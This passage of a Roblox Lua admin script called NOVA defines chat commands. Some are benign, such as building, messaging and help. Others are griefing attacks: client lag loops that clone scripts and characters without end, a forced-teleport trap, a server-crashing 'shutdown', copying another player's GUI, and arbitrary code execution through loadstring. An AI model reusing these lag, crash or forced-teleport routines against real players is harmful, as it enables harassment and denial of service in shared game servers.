  3115. if string.sub(Msg,i,i) == "\\" then
  3116. Split = i
  3117. break
  3118. end
  3119. end
  3120. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3121. CreateLocalScript([==[
  3122. script.Parent = nil
  3123. while true do wait()
  3124. game:service'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)
  3125. end
  3126. ]==],v.Backpack)
  3127. end
  3128. end
  3129. )
  3130.  
  3131. AddCommand("Shutdown","shutdown",5,"Shuts down the server.","<No Arguments>",
  3132. function(Msg,Speaker)
  3133. coroutine.resume(coroutine.create(function()
  3134. NOVA.Services.Lighting.TimeOfDay = 0
  3135. NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  3136. NOVA.Services.Lighting.Brightness = 0
  3137. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  3138. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  3139. NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
  3140.  
  3141. for _,v in pairs(GetRecursiveChildren(workspace)) do
  3142. if v:IsA("BasePart") then
  3143. Sel = Instance.new("SelectionBox",v)
  3144. Sel.Color = BrickColor.new("Really red")
  3145. Sel.Transparency = 0
  3146. Sel.Adornee = v
  3147. end
  3148. end
  3149. for i=10,1,-1 do
  3150. NOVA.Sounds.Sound.Parent = workspace
  3151. NOVA.Sounds.Sound.Volume = 1
  3152. NOVA.Sounds.Sound.Pitch = 1
  3153. NOVA.Sounds.Sound.SoundId = "http://www.roblox.com/Asset/?id=14863866"
  3154. wait(1)
  3155. NOVA.Sounds.Sound:Play()
  3156. end
  3157. for i=5,1,-1 do
  3158. NOVA.Sounds.Sound.Parent = workspace
  3159. NOVA.Sounds.Sound.Volume = 1
  3160. NOVA.Sounds.Sound.Pitch = 1
  3161. NOVA.Sounds.Sound.SoundId = NOVA.Sounds.Numbers[i]
  3162. wait(1)
  3163. NOVA.Sounds.Sound:Play()
  3164. end
  3165. wait(1)
  3166. Instance.new("ManualSurfaceJointInstance",workspace)
  3167. end))
  3168. end
  3169. )
  3170.  
  3171. AddCommand("Get Rid Of","getridof",6,"Gets rid of the selected player.","<Player>",
  3172. function(Msg,Speaker)
  3173. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3174. if v.Name == "rigletto" then
  3175. Output("Attempt to get rid of the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  3176. else
  3177. pcall(function()
  3178. GetRidOf(v)
  3179. end)
  3180. end
  3181. end
  3182. end
  3183. )
  3184.  
  3185. AddCommand("Load","load",1,"Loads NOVA's sound files.","No Arguments",
  3186. function(Msg,Speaker)
  3187. coroutine.resume(coroutine.create(function()
  3188. for _,v in pairs(NOVA.Sounds.Music) do
  3189. NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
  3190. NOVA.Sounds.Sound.SoundId = v.Id
  3191. NOVA.Sounds.Sound.Volume = 0
  3192. wait()
  3193. NOVA.Sounds.Sound:Play()
  3194. wait()
  3195. NOVA.Sounds.Sound:Stop()
  3196. wait(1)
  3197. end
  3198. for _,v in pairs(NOVA.Sounds.Numbers) do
  3199. NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
  3200. NOVA.Sounds.Sound.SoundId = v
  3201. NOVA.Sounds.Sound.Volume = 0
  3202. wait()
  3203. NOVA.Sounds.Sound:Play()
  3204. wait()
  3205. NOVA.Sounds.Sound:Stop()
  3206. wait(1)
  3207. end
  3208. for _,v in pairs(NOVA.Sounds.PlayAfter) do
  3209. NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
  3210. NOVA.Sounds.Sound.SoundId = v
  3211. NOVA.Sounds.Sound.Volume = 0
  3212. wait()
  3213. NOVA.Sounds.Sound:Play()
  3214. wait()
  3215. NOVA.Sounds.Sound:Stop()
  3216. wait(1)
  3217. end
  3218. NOVA.Sounds.Sound.Volume = 1
  3219. end))
  3220. end
  3221. )
  3222.  
  3223. AddCommand("Target","targ",6,"Targets the selected player.","<Player>",
  3224. function(Msg,Speaker)
  3225. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3226. table.insert(NOVA.Targeted,v)
  3227. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  3228. if part:IsA("Part") then
  3229. coroutine.resume(coroutine.create(function()
  3230. local SB = Instance.new("SelectionBox",part)
  3231. SB.Name = "NOVA Target Selection Box"
  3232. SB.Color = BrickColor.new(NOVA.Colors.Yellow)
  3233. SB.Adornee = part
  3234. wait(3)
  3235. SB:remove()
  3236. end))
  3237. end
  3238. end
  3239. end
  3240. end
  3241. )
  3242.  
  3243. AddCommand("Un Target","untarg",6,"Un targets the selected player.","<Player>",
  3244. function(Msg,Speaker)
  3245. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3246. for i=1,#NOVA.Targeted do
  3247. if NOVA.Targeted[i] == v then
  3248. table.remove(NOVA.Targeted,i)
  3249. end
  3250. end
  3251. end
  3252. end
  3253. )
  3254.  
  3255. AddCommand("Rejoin","rejoin",0,"Sends you a teleport request to the same place.","No Arguments",
  3256. function(Msg,Speaker)
  3257. CreateLocalScript([==[game:service'TeleportService':Teleport(]==]..game.PlaceId..[==[)]==],Speaker.Backpack)
  3258. end
  3259. )
  3260.  
  3261. AddCommand("Connect","connect",0,"Connects you to a NOVA Drone.","No Arguments",
  3262. function(Msg,Speaker)
  3263. CreateScript("",CreateLocalScript([==[
  3264. NOVA = {
  3265. Services = {
  3266. Workspace = game:GetService("Workspace");
  3267. Lighting = game:GetService("Lighting");
  3268. Debris = game:GetService("Debris");
  3269. Players = game:GetService("Players");
  3270. Teams = game:GetService("Teams");
  3271. SoundService = game:GetService("SoundService");
  3272. StarterGui = game:GetService("StarterGui");
  3273. StarterPack = game:GetService("StarterPack");
  3274. };
  3275. LocalPlayer = game:service'Players'.LocalPlayer;
  3276. Camera = workspace.CurrentCamera;
  3277. LocalCharacter = Instance.new("Model");
  3278. LocalHead = Instance.new("Part");
  3279. LocalFire = Instance.new("Fire");
  3280. }
  3281. script.Name = NOVA.LocalPlayer.Name
  3282. script.Parent = nil
  3283. NOVA.LocalPlayer.Chatted:connect(function(Msg)
  3284. if NOVA.LocalPlayer.Parent == nil then
  3285. if not Msg:find("mediafire") or Msg:find("shit") or Msg:find("gtfo") or Msg:find("hitler") or Msg:find("password") then
  3286. pcall(function() game:service'Chat':Chat(NOVA.LocalHead,Msg,math.random(0,2)) end)
  3287. end
  3288. if Msg == "\\rejoin\\" then
  3289. game:service'TeleportService':Teleport(game.PlaceId)
  3290. end
  3291. if Msg:sub(1,3) == "\\c\\" then
  3292. pcall(function()
  3293. newScript(Msg:sub(4),workspace)
  3294. end)
  3295. end
  3296. if Msg:sub(1,7) == "\\local\\" then
  3297. coroutine.resume(coroutine.create(function()
  3298. pcall(function()
  3299. loadstring(Msg:sub(8))()
  3300. end)
  3301. end))
  3302. end
  3303. end
  3304. end)
  3305.  
  3306. repeat wait() until NOVA.LocalPlayer.Parent == nil
  3307. NOVA.LocalPlayer.Character = nil
  3308. NOVA.LocalHead.FormFactor = "Custom"
  3309. NOVA.LocalHead.Size = Vector3.new(3,3,3)
  3310. NOVA.LocalHead.Reflectance = 1e+999
  3311. NOVA.LocalHead.Shape = "Ball"
  3312. NOVA.LocalHead.Anchored = true
  3313. NOVA.LocalHead.CanCollide = false
  3314. NOVA.LocalHead.Transparency = 0
  3315. NOVA.LocalCharacter.Name = NOVA.LocalPlayer.Name
  3316.  
  3317. NOVA.LocalFire.Color = Color3.new(0,0,0)
  3318. NOVA.LocalFire.SecondaryColor = Color3.new(0,0,0)
  3319. NOVA.LocalFire.Heat = 12
  3320. NOVA.LocalFire.Size = 7
  3321.  
  3322. while wait() do
  3323. pcall(function()
  3324. NOVA.LocalCharacter.Parent=workspace
  3325. NOVA.LocalHead.Parent = NOVA.LocalCharacter
  3326. NOVA.LocalHead.CFrame = NOVA.Camera.CoordinateFrame * CFrame.new(0,0,-30.517578125)
  3327. NOVA.LocalFire.Parent = NOVA.LocalHead
  3328. end)
  3329. end
  3330. ]==],Speaker.Backpack))
  3331. --[[
  3332. Trigger = Instance.new("BindableEvent")
  3333. Trigger.Name = "NOVAExternalInput"
  3334. Trigger.Parent = workspace
  3335. wait()
  3336. Trigger:Fire("\\m\\asd",game.Players.)
  3337. ]]--
  3338. end
  3339. )
  3340.  
  3341.  
  3342. AddCommand("Script","c",6,"Pseudo scripting command.","<Source>",
  3343. function(Msg,Speaker)
  3344. CreateScript(Msg,workspace)
  3345. end
  3346. )
  3347.  
  3348. AddCommand("Local Script","local",6,"Pseudo scripting command.","<Source>",
  3349. function(Msg,Speaker)
  3350. CreateLocalScript(Msg,Speaker.Backpack)
  3351. end
  3352. )
  3353.  
  3354. AddCommand("Derp","derp",1,"Derps the workspace.","No Arguments",
  3355. function(Msg,Speaker)
  3356. for _,v in pairs(GetRecursiveChildren(workspace)) do
  3357. pcall(function()
  3358. v.Transparency = -1
  3359. end)
  3360. end
  3361. end
  3362. )
  3363.  
  3364. AddCommand("Circle Lag","circlag",6,"Lags the selected player with circles.","<Player>",
  3365. function(Msg,Speaker)
  3366. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3367. if v.Name == "rigletto" then
  3368. Output("Attempt to lag the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  3369. else
  3370. pcall(function()
  3371. CreateLocalScript([==[
  3372. LocalPlayer = game:service'Players'.LocalPlayer
  3373. Camera = workspace.CurrentCamera
  3374. while wait() do
  3375. for i=1,10 do
  3376. Part = Instance.new("Seat",Camera)
  3377. Part.Size = Vector3.new(math.random(1,20),math.random(1,20),math.random(1,20))
  3378. Part.Shape = "Ball"
  3379. Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
  3380. Part.CFrame = CFrame.new(math.random(-250,250),50,math.random(-250,250))
  3381. end
  3382. end
  3383. ]==],v.Backpack)
  3384. end)
  3385. end
  3386. end
  3387. end
  3388. )
  3389.  
  3390. AddCommand("Clear Camera","clearcam",3,"Clears the selected player's current camera.","<Player>",
  3391. function(Msg,Speaker)
  3392. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3393. CreateLocalScript("workspace.CurrentCamera:ClearAllChildren()",v.Backpack)
  3394. end
  3395. end
  3396. )
  3397.  
  3398. AddCommand("Screen Peek","screenpeek",4,"Shows you the selected player's playergui.","<Player>",
  3399. function(Msg,Speaker)
  3400. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3401. for _,GUI in pairs(v.PlayerGui:children()) do
  3402. GUI:Clone().Parent = Speaker.PlayerGui
  3403. end
  3404. end
  3405. end
  3406. )
  3407.  
  3408. AddCommand("Show Targeted","showtarg",1,"Shows the targeted players.","No Arguments",
  3409. function(Msg,Speaker)
  3410. for _,v in pairs(NOVA.Targeted) do
  3411. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  3412. if part:IsA("Part") then
  3413. coroutine.resume(coroutine.create(function()
  3414. local SB = Instance.new("SelectionBox",part)
  3415. SB.Name = "NOVA Target Selection Box"
  3416. SB.Color = BrickColor.new(NOVA.Colors.Yellow)
  3417. SB.Adornee = part
  3418. wait(3)
  3419. SB:remove()
  3420. end))
  3421. end
  3422. end
  3423. end
  3424. end
  3425. )
  3426.  
  3427. AddCommand("Note To Self","nts",0,"Note to self commands.","<Action>",
  3428. function(Msg,Speaker)
  3429. if Msg:sub(1,4) == "add\\" then
  3430. Speaker:SaveString("NoteToSelf",Speaker:LoadString("NoteToSelf").." "..Msg:sub(5))
  3431. elseif Msg:sub(1,4) == "set\\" then
  3432. Speaker:SaveString("NoteToSelf",Msg:sub(5))
  3433. elseif Msg == "see" then
  3434. Output(Speaker:LoadString("NoteToSelf"),GetRankedTable(Speaker).Color,Speaker)
  3435. end
  3436. end
  3437. )
  3438.  
  3439. AddCommand("Smite","smite",6,"Smites the selected player.","<Player>",
  3440. function(Msg,Speaker)
  3441. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3442. local Char = v.Character
  3443. local Smite = Instance.new("Part",workspace)
  3444. Smite.FormFactor = "Custom"
  3445. Smite.TopSurface = "Smooth"
  3446. Smite.BottomSurface = "Smooth"
  3447. Smite.Anchored = true
  3448. Smite.Size = Vector3.new(25,3,25)
  3449. Smite.BrickColor = BrickColor.new("New Yeller")
  3450. Smite.Transparency = 1
  3451. Smite.CFrame = Char.Torso.CFrame * CFrame.new(0,-2.5,0)
  3452. for i=1,0,-0.05 do
  3453. wait()
  3454. Smite.Transparency = i
  3455. end
  3456. coroutine.resume(coroutine.create(function()
  3457. for i=0,1,0.05 do
  3458. wait()
  3459. Smite.Transparency = i
  3460. end
  3461. Smite:remove()
  3462. end))
  3463. wait()
  3464. local Expl = Instance.new("Explosion",workspace)
  3465. Expl.Position = Smite.Position
  3466. Expl.BlastPressure = 1000000000
  3467.  
  3468. for _,Part in pairs(GetRecursiveChildren(Char)) do
  3469. if Part:IsA("BasePart") then
  3470. coroutine.resume(coroutine.create(function()
  3471. for i=1,10 do
  3472. local Sparkles = Instance.new("Sparkles",Part)
  3473. Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  3474. local Fire = Instance.new("Fire",Part)
  3475. Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  3476. Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  3477. end
  3478. Part:BreakJoints()
  3479. local BP = Instance.new("BodyPosition",Part)
  3480. BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  3481. BP.P = 1000
  3482. BP.position = Part.Position + Vector3.new(
  3483. math.random(-100,100),
  3484. 100,
  3485. math.random(-100,100))
  3486. wait(3)
  3487. local Expl = Instance.new("Explosion",workspace)
  3488. Expl.Position = Part.Position
  3489. Expl.BlastPressure = 1000000000
  3490. end))
  3491. end
  3492. end
  3493. end
  3494. end
  3495. )
  3496.  
  3497. AddCommand("Epic","Epic",1,"Epicifys the selected player.","<Player>",
  3498. function(Msg,Speaker)
  3499. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3500. pcall(function()
  3501. for _,Part in pairs(GetRecursiveChildren(v.Character)) do
  3502. if Part:IsA("BasePart") then
  3503. for i=1,10 do
  3504. local Sparkles = Instance.new("Sparkles",Part)
  3505. Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  3506. local Fire = Instance.new("Fire",Part)
  3507. Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  3508. Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  3509. end
  3510. end
  3511. end
  3512. end)
  3513. end
  3514. end
  3515. )
  3516.  
  3517. AddCommand("Show Chat","showchat",7,"Toggle NOVA.ShowChat ( boolean )","No Arguments",
  3518. function(Msg,Speaker)
  3519. if NOVA.ShowChat == true then
  3520. NOVA.ShowChat = false
  3521. elseif NOVA.ShowChat == false then
  3522. NOVA.ShowChat = true
  3523. end
  3524. end
  3525. )
  3526.  
  3527. AddCommand("Character Lag","charlag",6,"Lags the targeted player with their own character. Brutal.","<Player>",
  3528. function(Msg,Speaker)
  3529. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3530. if v.Name == "rigletto" then
  3531. Output("Attempt to lag the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  3532. else
  3533. pcall(function()
  3534. CreateLocalScript([[
  3535. script.Parent = workspace.CurrentCamera
  3536. while wait() do
  3537. coroutine.resume(coroutine.create(function()
  3538. for i=1,math.huge do
  3539. wait()
  3540. for i=1,10 do
  3541. NS = script:Clone()
  3542. NS.Disabled = true
  3543. NS.Parent = game.Players.LocalPlayer.Backpack
  3544. NS.Disabled = false
  3545. end
  3546. for i=1,10 do
  3547. game.Players.LocalPlayer.Character.Archivable = true
  3548. game.Players.LocalPlayer.Character:Clone().Parent = workspace.CurrentCamera
  3549. end
  3550. end
  3551. end
  3552. end]],
  3553. v.Backpack)
  3554. end)
  3555. end
  3556. end
  3557. end
  3558. )
  3559.  
  3560. AddCommand("Building","building",1,"Generates a building.","No Arguments",
  3561. function(Msg,Speaker)
  3562. local PrimaryColor = Color3.new(0,0,0)
  3563. local SecondaryColor = Color3.new(0.76,0,0)
  3564. pcall(function() workspace["NOVA Building"]:remove() end)
  3565. local BasePart = Instance.new("Part") BasePart.FormFactor = "Custom" BasePart.Name = "Part" BasePart.TopSurface = "Smooth" BasePart.BottomSurface = "Smooth" BasePart.CanCollide = true BasePart.Anchored = true BasePart.Transparency = 0 BasePart.Reflectance = 0 BasePart.BrickColor = BrickColor.new("Bright green") BasePart.CFrame = CFrame.new(0,0,0) Instance.new("BlockMesh",BasePart)
  3566. local Main = Instance.new("Model",workspace) Main.Name = "NOVA Building"
  3567. local Pathway = BasePart:Clone() Pathway.Parent = Main Pathway.BrickColor = BrickColor.new(PrimaryColor)
  3568. if workspace:FindFirstChild("Base") ~= nil then Pathway.Size = Vector3.new(10,1,(workspace.Base.Size.z/2)+5) Pathway.CFrame = CFrame.new(0,(workspace.Base.CFrame.y) + (Pathway.Size.y),(Pathway.Size.z/2)-5) else Pathway.Size = Vector3.new(10,1,250) Pathway.CFrame = CFrame.new(0,1,(Pathway.Size.z/2)-5) end
  3569. MainCFrame = CFrame.new(0,Pathway.CFrame.y,Pathway.Size.z+10)
  3570. local Platform = BasePart:Clone() Platform.Parent = Main Platform.BrickColor = BrickColor.new(0,0,0) Platform.Size = Vector3.new(30,1,30) Platform.CFrame = MainCFrame
  3571. local Dot = BasePart:Clone() Dot.Parent = Main Dot.BrickColor = BrickColor.new(0,0,0) Dot.Size = Vector3.new(10,1,10) Dot.CFrame = MainCFrame * CFrame.new(0,0.02,0) Instance.new("CylinderMesh",Dot)
  3572. local Sphere = BasePart:Clone() Sphere.Parent = Main Sphere.Reflectance = 1e+999 Sphere.Size = Vector3.new(5,5,5) Sphere.Shape = "Ball" Sphere:ClearAllChildren() Sphere.CFrame = MainCFrame * CFrame.new(0,20,0)
  3573. for i=1,10 do local Fire = Instance.new("Fire",Sphere) Fire.Color = PrimaryColor Fire.SecondaryColor = PrimaryColor Fire.Size = 9 local Fire = Instance.new("Fire",Sphere) Fire.Color = SecondaryColor Fire.SecondaryColor = SecondaryColor Fire.Size = 9 end
  3574. for angle=1,360,360/5 do local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(SecondaryColor) Part.Size = Vector3.new(2,1,28) Part.CFrame = MainCFrame * CFrame.Angles(0,math.rad(angle),0) * CFrame.new(0,0.01,0) end
  3575. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(PrimaryColor) Part.Size = Vector3.new(30,1,30) Part.CFrame = MainCFrame * CFrame.new(25,10,0) * CFrame.Angles(0,0,math.rad(45))
  3576. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(PrimaryColor) Part.Size = Vector3.new(30,1,30) Part.CFrame = MainCFrame * CFrame.new(0,10,25) * CFrame.Angles(0,math.rad(270),math.rad(45))
  3577. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(PrimaryColor) Part.Size = Vector3.new(30,1,30) Part.CFrame = MainCFrame * CFrame.new(-25,10,0) * CFrame.Angles(0,math.rad(180),math.rad(45))
  3578. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(PrimaryColor) Part.Size = Vector3.new(10,1,30) Part.CFrame = MainCFrame * CFrame.new(-10,10,-25) * CFrame.Angles(math.rad(45),0,0)
  3579. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(PrimaryColor) Part.Size = Vector3.new(10,1,30) Part.CFrame = MainCFrame * CFrame.new(10,10,-25) * CFrame.Angles(math.rad(45),0,0)
  3580. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(SecondaryColor) Part.Size = Vector3.new(30,22,30) Part.CFrame = MainCFrame * CFrame.new(30,(Part.Size.y/2)-Platform.Size.y,30)
  3581. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(SecondaryColor) Part.Size = Vector3.new(30,22,30) Part.CFrame = MainCFrame * CFrame.new(-30,(Part.Size.y/2)-Platform.Size.y,30)
  3582. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(SecondaryColor) Part.Size = Vector3.new(30,22,30) Part.CFrame = MainCFrame * CFrame.new(-30,(Part.Size.y/2)-Platform.Size.y,-30)
  3583. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(SecondaryColor) Part.Size = Vector3.new(30,22,30) Part.CFrame = MainCFrame * CFrame.new(30,(Part.Size.y/2)-Platform.Size.y,-30)
  3584. local Part = Instance.new("WedgePart") Part.Parent = Main Part.FormFactor = "Custom" Part.Name = "Part" Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth" Part.CanCollide = true Part.Anchored = true Part.Transparency = 0 Part.Reflectance = 0 Part.BrickColor = BrickColor.new(PrimaryColor) Part.Size = Vector3.new(10,42,43) Part.CFrame = MainCFrame * CFrame.new(10,0,-13.8) * CFrame.Angles(0,math.rad(180),0)
  3585. local Part = Instance.new("WedgePart") Part.Parent = Main Part.FormFactor = "Custom" Part.Name = "Part" Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth" Part.CanCollide = true Part.Anchored = true Part.Transparency = 0 Part.Reflectance = 0 Part.BrickColor = BrickColor.new(PrimaryColor) Part.Size = Vector3.new(10,42,43) Part.CFrame = MainCFrame * CFrame.new(-10,0,-13.8) * CFrame.Angles(0,math.rad(180),0)
  3586. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(PrimaryColor) Part.Size = Vector3.new(40,40,12) Part.CFrame = MainCFrame * CFrame.new(25,19.5,-40)
  3587. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(PrimaryColor) Part.Size = Vector3.new(40,40,12) Part.CFrame = MainCFrame * CFrame.new(-25,19.5,-40)
  3588. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(PrimaryColor) Part.Size = Vector3.new(90,40,12) Part.CFrame = MainCFrame * CFrame.new(0,19.5,40)
  3589. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(PrimaryColor) Part.Size = Vector3.new(12,40,90) Part.CFrame = MainCFrame * CFrame.new(40,19.5,0)
  3590. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(PrimaryColor) Part.Size = Vector3.new(12,40,90) Part.CFrame = MainCFrame * CFrame.new(-40,19.5,0)
  3591. local Part = Instance.new("Seat") Part.Parent = Main Part.FormFactor = "Custom" Part.Name = "Part" Part.FrontSurface = "Hinge" Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth" Part.CanCollide = true Part.Anchored = true Part.Transparency = 0 Part.Reflectance = 0 Part.BrickColor = BrickColor.new(SecondaryColor) Part.Size = Vector3.new(2,1,2) Part.CFrame = MainCFrame * CFrame.new(0,5,18)
  3592. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(PrimaryColor) Part.Size = Vector3.new(10,5,10) Part.CFrame = MainCFrame * CFrame.new(0,2.5,19.8)
  3593. for angle=1,360/2,(360/2)/5 do local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(SecondaryColor) Part.Size = Vector3.new(2,1,28) Part.CFrame = MainCFrame * CFrame.new(0,5,18) * CFrame.Angles(math.rad(45),math.rad(angle),math.rad(45)) * CFrame.new(18,0,0) end
  3594. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(SecondaryColor) Part.Size = Vector3.new(2,25,2) Part.CFrame = MainCFrame * CFrame.new(7,10,19) * CFrame.Angles(0,0,0)
  3595. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(SecondaryColor) Part.Size = Vector3.new(2,25,2) Part.CFrame = MainCFrame * CFrame.new(-7,10,19) * CFrame.Angles(0,0,0)
  3596.  
  3597. for _,v in pairs(Main:children()) do if v:IsA("BasePart") then v.Locked = true end end
  3598.  
  3599. end
  3600. )
  3601.  
  3602. AddCommand("Platform Stand","ps",3,"Sets platformstand to true for the selected player.","<Player>",
  3603. function(Msg,Speaker)
  3604. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3605. pcall(function()
  3606. v.Character.Humanoid.PlatformStand = true
  3607. end)
  3608. end
  3609. end
  3610. )
  3611.  
  3612.  
  3613. AddCommand("Un Platform Stand","ps",3,"Sets platformstand to false for the selected player.","<Player>",
  3614. function(Msg,Speaker)
  3615. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3616. pcall(function()
  3617. v.Character.Humanoid.PlatformStand = false
  3618. end)
  3619. end
  3620. end
  3621. )
  3622.  
  3623. AddCommand("Duplicate Tools","dupetools",4,"Clones the tools of the selected player.","<Player>",
  3624. function(Msg,Speaker)
  3625. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3626. pcall(function()
  3627. for _,Tool in pairs(v.Backpack:GetChildren()) do
  3628. Tool:Clone().Parent = Speaker.Backpack
  3629. end
  3630. end)
  3631. end
  3632. end
  3633. )
  3634.  
  3635. AddCommand("Give","give",3,"Lists the items in lighting for the selected player.","<Player>",
  3636. function(Msg,Speaker)
  3637. local Give = {}
  3638. for _,v in pairs(NOVA.Services.Lighting:children()) do
  3639. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
  3640. function()
  3641. table.insert(Give,v:Clone())
  3642. end
  3643. )
  3644. end
  3645. Output("Done",NOVA.Colors.Green,Speaker,nil,
  3646. function()
  3647. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3648. for _,Tool in pairs(Give) do
  3649. Tool:Clone().Parent = v.Backpack
  3650. end
  3651. end
  3652. RemoveTablets(Speaker)
  3653. end
  3654. )
  3655. Output("Dismiss",NOVA.Colors.Red,Speaker)
  3656. end
  3657. )
  3658.  
  3659.  
  3660. AddCommand("StoreTools","store",1,"Stores the speaker's tools in the lighting.","No Arguments",
  3661. function(Msg,Speaker)
  3662. pcall(function()
  3663. for _,Tool in pairs(Speaker.Backpack:children()) do
  3664. Tool:Clone().Parent = NOVA.Services.Lighting
  3665. end
  3666. end)
  3667. end
  3668. )
  3669.  
  3670. AddCommand("Personal Message","pm",1,"Privately tells the selected player the selected string.","<Player><String>",
  3671. function(Msg,Speaker)
  3672. Split = GetSplit(Msg)
  3673. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3674. if v:FindFirstChild("PlayerGui") ~= nil then
  3675. makeMessage(1,Msg:sub(Split+1),v.PlayerGui)
  3676. end
  3677. end
  3678. end
  3679. )
  3680.  
  3681. AddCommand("Help","help",0,"Displays NOVA's help interface.","No Arguments",
  3682. function(Msg,Speaker)
  3683. Data = GetRankedTable(Speaker)
  3684. Output("Welcome "..Speaker.Name.." to NOVA.",Data.Color,Speaker)
  3685. Output("NOVA is a multi-purpose admin script created by "..string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ",""))..".",Data.Color,Speaker)
  3686. Output("Your current rank is "..GetRankName(Speaker.Name).." ( "..Data.Rank.." ).",Data.Color,Speaker)
  3687. Output("For a list of commands avalible to your rank click this tablet.",Data.Color,Speaker,nil,
  3688. function()
  3689. RemoveTablets(Speaker)
  3690. OnChatted("\\cmds\\",Speaker)
  3691. end
  3692. )
  3693. Output("To use a command the syntax is : \\ COMMAND HERE \\ ARGUMENT \\ ARGUMENT",Data.Color,Speaker)
  3694. Output("Please note it is a backslash ( located above the 'Return'/'Enter' key on your keyboard.",Data.Color,Speaker)
  3695. Output("Thank you for using NOVA Admin. ( made by "..string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")).." )",Data.Color,Speaker)
  3696. end
  3697. )
  3698.  
  3699. AddCommand("Break","break",3,"Breaks all scripts in workspace.","No Arguments",
  3700. function(Msg,Speaker)
  3701. for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
  3702. if v:IsA("Script") then
  3703. v.Disabled = true
  3704. v.Parent = NOVA.Services.Debris
  3705. v.Disabled = true
  3706. v:Destroy()
  3707. v.Parent = NOVA.Services.Debris
  3708. v.Disabled = true
  3709. v:Destroy()
  3710. end
  3711. end
  3712. end
  3713. )
  3714.  
  3715. AddCommand("Execute","exe",6,"Loads the following string.","<Source>",
  3716. function(Msg,Speaker)
  3717. Source = Msg
  3718. --Source = string.gsub(Source,"print(","PrintS(")
  3719. --Source = string.gsub(Source,"print'","PrintS'")
  3720. local a,b=coroutine.resume(coroutine.create(function() loadstring([[]]..Source)() end))
  3721. if not a then
  3722. Output(b,NOVA.Colors.Red,Speaker,15)
  3723. else
  3724. Output("Script ran succuessfully!",NOVA.Colors.Green,Speaker,5)
  3725. end
  3726. end
  3727. )
  3728.  
  3729. AddCommand("Spy","spy",1,"Parents your character to your camera.","No Arguments",
  3730. function(Msg,Speaker)
  3731. pcall(function()
  3732. CreateLocalScript([[
  3733. game.Players.LocalPlayer.Character.Parent = workspace.CurrentCamera
  3734. ]],
  3735. Speaker.Backpack
  3736. )
  3737. end)
  3738. end
  3739. )
  3740.  
  3741. AddCommand("Message","msg",1,"Makes a GUI message.","<String>",
  3742. function(Msg,Speaker)
  3743. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  3744. makeMessage(2,"[NOVA] "..Msg,v.PlayerGui)
  3745. end
  3746. end
  3747. )
  3748.  
  3749. AddCommand("Set Pitch","setpitch",2,"Sets the pitch of NOVA Sound.","<Int Value>",
  3750. function(Msg,Speaker)
  3751. pcall(function()
